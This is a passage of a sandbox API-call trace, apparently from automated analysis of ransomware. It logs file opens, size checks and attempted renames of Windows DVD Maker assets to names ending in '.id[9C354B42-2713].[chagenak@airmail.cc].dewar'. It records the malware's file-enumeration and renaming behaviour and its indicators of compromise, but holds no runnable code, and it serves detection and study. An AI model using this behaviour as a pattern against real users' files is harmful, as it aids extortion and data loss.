Maker\\Shared\\DvdStyles\\Performance\\Perf_Scenes_Mask1.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\perf_scenes_mask1.png")) returned 0x20 [0253.303] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Perf_Scenes_Mask1.png.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\perf_scenes_mask1.png.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0253.303] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Perf_Scenes_Mask1.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\perf_scenes_mask1.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0253.304] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Perf_Scenes_Subpicture1.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\perf_scenes_subpicture1.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0253.305] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x319faa8 | out: lpFileSize=0x319faa8*=4959) returned 1 [0253.305] CloseHandle (hObject=0x1e0) returned 1 [0253.305] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Perf_Scenes_Subpicture1.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\perf_scenes_subpicture1.png")) returned 0x20 [0253.305] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Perf_Scenes_Subpicture1.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\perf_scenes_subpicture1.png")) returned 0x20 [0253.305] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Perf_Scenes_Subpicture1.png.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\perf_scenes_subpicture1.png.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0253.306] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Perf_Scenes_Subpicture1.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\perf_scenes_subpicture1.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0253.307] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\PreviousMenuButtonIcon.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\previousmenubuttonicon.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0253.308] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x319faa8 | out: lpFileSize=0x319faa8*=4503) returned 1 [0253.308] CloseHandle (hObject=0x1e0) returned 1 [0253.308] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\PreviousMenuButtonIcon.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\previousmenubuttonicon.png")) returned 0x20 [0253.308] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\PreviousMenuButtonIcon.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\previousmenubuttonicon.png")) returned 0x20 [0253.308] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\PreviousMenuButtonIcon.png.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\previousmenubuttonicon.png.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0253.309] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\PreviousMenuButtonIcon.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\previousmenubuttonicon.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0253.309] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\PreviousMenuButtonIconSubpi.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\previousmenubuttoniconsubpi.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0253.313] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x319faa8 | out: lpFileSize=0x319faa8*=3082) returned 1 [0253.314] CloseHandle (hObject=0x1e0) returned 1 [0253.314] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\PreviousMenuButtonIconSubpi.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\previousmenubuttoniconsubpi.png")) returned 0x20 [0253.314] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\PreviousMenuButtonIconSubpi.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\previousmenubuttoniconsubpi.png")) returned 0x20 [0253.314] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\PreviousMenuButtonIconSubpi.png.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\previousmenubuttoniconsubpi.png.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0253.314] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\PreviousMenuButtonIconSubpi.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\previousmenubuttoniconsubpi.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0253.315] SetEvent (hEvent=0x118) returned 1 [0253.315] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\redmenu.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\redmenu.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0253.316] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x319faa8 | out: lpFileSize=0x319faa8*=3108) returned 1 [0253.316] CloseHandle (hObject=0x1e0) returned 1 [0253.316] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\redmenu.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\redmenu.png")) returned 0x20 [0253.317] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\redmenu.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\redmenu.png")) returned 0x20 [0253.317] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\redmenu.png.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\redmenu.png.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0253.317] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\redmenu.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\redmenu.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0253.318] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Scene_loop.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\scene_loop.wmv"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0253.318] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x319faa8 | out: lpFileSize=0x319faa8*=533292) returned 1 [0253.319] CloseHandle (hObject=0x1e0) returned 1 [0253.319] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Scene_loop.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\scene_loop.wmv")) returned 0x20 [0253.319] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Scene_loop.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\scene_loop.wmv")) returned 0x20 [0253.319] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Scene_loop.wmv.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\scene_loop.wmv.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0253.319] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Scene_loop.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\scene_loop.wmv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0253.320] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Scene_loop_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\scene_loop_pal.wmv"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0253.320] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x319faa8 | out: lpFileSize=0x319faa8*=613292) returned 1 [0253.321] CloseHandle (hObject=0x1e0) returned 1 [0253.321] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Scene_loop_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\scene_loop_pal.wmv")) returned 0x20 [0253.674] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Scene_loop_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\scene_loop_pal.wmv")) returned 0x20 [0253.674] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Scene_loop_PAL.wmv.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\scene_loop_pal.wmv.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0253.675] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Scene_loop_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\scene_loop_pal.wmv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0253.675] SetEvent (hEvent=0x118) returned 1 [0253.676] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\TitleButtonSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\titlebuttonsubpicture.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0253.677] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x319faa8 | out: lpFileSize=0x319faa8*=132) returned 1 [0253.677] CloseHandle (hObject=0x1e0) returned 1 [0253.677] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\TitleButtonSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\titlebuttonsubpicture.png")) returned 0x20 [0253.677] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\TitleButtonSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\titlebuttonsubpicture.png")) returned 0x20 [0253.677] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\TitleButtonSubpicture.png.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\titlebuttonsubpicture.png.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0253.677] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\TitleButtonSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\titlebuttonsubpicture.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0253.678] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Title_Page.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\title_page.wmv"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0253.679] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x319faa8 | out: lpFileSize=0x319faa8*=1741316) returned 1 [0253.679] CloseHandle (hObject=0x1e0) returned 1 [0253.679] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Title_Page.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\title_page.wmv")) returned 0x20 [0253.680] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Title_Page.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\title_page.wmv"), lpNewFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Title_Page.wmv.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\title_page.wmv.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0 [0253.693] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Title_Page.wmv.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\title_page.wmv.id[9c354b42-2713].[chagenak@airmail.cc].dewar"), lpNewFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Title_Page.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\title_page.wmv")) returned 0 [0253.693] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Title_Page_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\title_page_pal.wmv"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0253.694] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x319faa8 | out: lpFileSize=0x319faa8*=1901316) returned 1 [0253.694] CloseHandle (hObject=0x1e0) returned 1 [0253.694] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Title_Page_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\title_page_pal.wmv")) returned 0x20 [0253.695] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Title_Page_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\title_page_pal.wmv"), lpNewFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Title_Page_PAL.wmv.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\title_page_pal.wmv.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0 [0253.695] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Title_Page_PAL.wmv.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\title_page_pal.wmv.id[9c354b42-2713].[chagenak@airmail.cc].dewar"), lpNewFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Title_Page_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\title_page_pal.wmv")) returned 0 [0253.696] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\title_trans_notes.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\title_trans_notes.wmv"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0253.700] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x319faa8 | out: lpFileSize=0x319faa8*=709220) returned 1 [0253.700] CloseHandle (hObject=0x1e0) returned 1 [0253.700] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\title_trans_notes.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\title_trans_notes.wmv")) returned 0x20 [0253.700] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\title_trans_notes.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\title_trans_notes.wmv")) returned 0x20 [0253.701] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\title_trans_notes.wmv.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\title_trans_notes.wmv.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0253.701] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\title_trans_notes.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\title_trans_notes.wmv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0253.701] SetEvent (hEvent=0x118) returned 1 [0253.702] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Title_Trans_Notes_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\title_trans_notes_pal.wmv"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0253.702] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x319faa8 | out: lpFileSize=0x319faa8*=741220) returned 1 [0253.703] CloseHandle (hObject=0x1e0) returned 1 [0253.703] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Title_Trans_Notes_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\title_trans_notes_pal.wmv")) returned 0x20 [0253.703] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Title_Trans_Notes_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\title_trans_notes_pal.wmv")) returned 0x20 [0253.703] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Title_Trans_Notes_PAL.wmv.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\title_trans_notes_pal.wmv.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0253.703] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Title_Trans_Notes_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\title_trans_notes_pal.wmv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0253.704] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\title_trans_scene.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\title_trans_scene.wmv"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0253.705] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x319faa8 | out: lpFileSize=0x319faa8*=629220) returned 1 [0253.705] CloseHandle (hObject=0x1e0) returned 1 [0253.705] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\title_trans_scene.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\title_trans_scene.wmv")) returned 0x20 [0253.705] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\title_trans_scene.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\title_trans_scene.wmv")) returned 0x20 [0253.706] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\title_trans_scene.wmv.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\title_trans_scene.wmv.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0253.706] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\title_trans_scene.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\title_trans_scene.wmv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0253.707] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Title_Trans_Scene_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\title_trans_scene_pal.wmv"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0253.707] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x319faa8 | out: lpFileSize=0x319faa8*=661220) returned 1 [0253.707] CloseHandle (hObject=0x1e0) returned 1 [0253.707] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Title_Trans_Scene_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\title_trans_scene_pal.wmv")) returned 0x20 [0253.708] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Title_Trans_Scene_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\title_trans_scene_pal.wmv")) returned 0x20 [0253.708] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Title_Trans_Scene_PAL.wmv.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\title_trans_scene_pal.wmv.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0253.708] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Title_Trans_Scene_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\title_trans_scene_pal.wmv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0253.709] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\userContent_16x9_imagemask.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\usercontent_16x9_imagemask.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0253.709] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x319faa8 | out: lpFileSize=0x319faa8*=6716) returned 1 [0253.710] CloseHandle (hObject=0x1e0) returned 1 [0253.710] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\userContent_16x9_imagemask.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\usercontent_16x9_imagemask.png")) returned 0x20 [0253.710] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\userContent_16x9_imagemask.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\usercontent_16x9_imagemask.png")) returned 0x20 [0253.710] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\userContent_16x9_imagemask.png.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\usercontent_16x9_imagemask.png.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0253.710] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\userContent_16x9_imagemask.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\usercontent_16x9_imagemask.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0253.712] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\whitemenu.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\whitemenu.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, 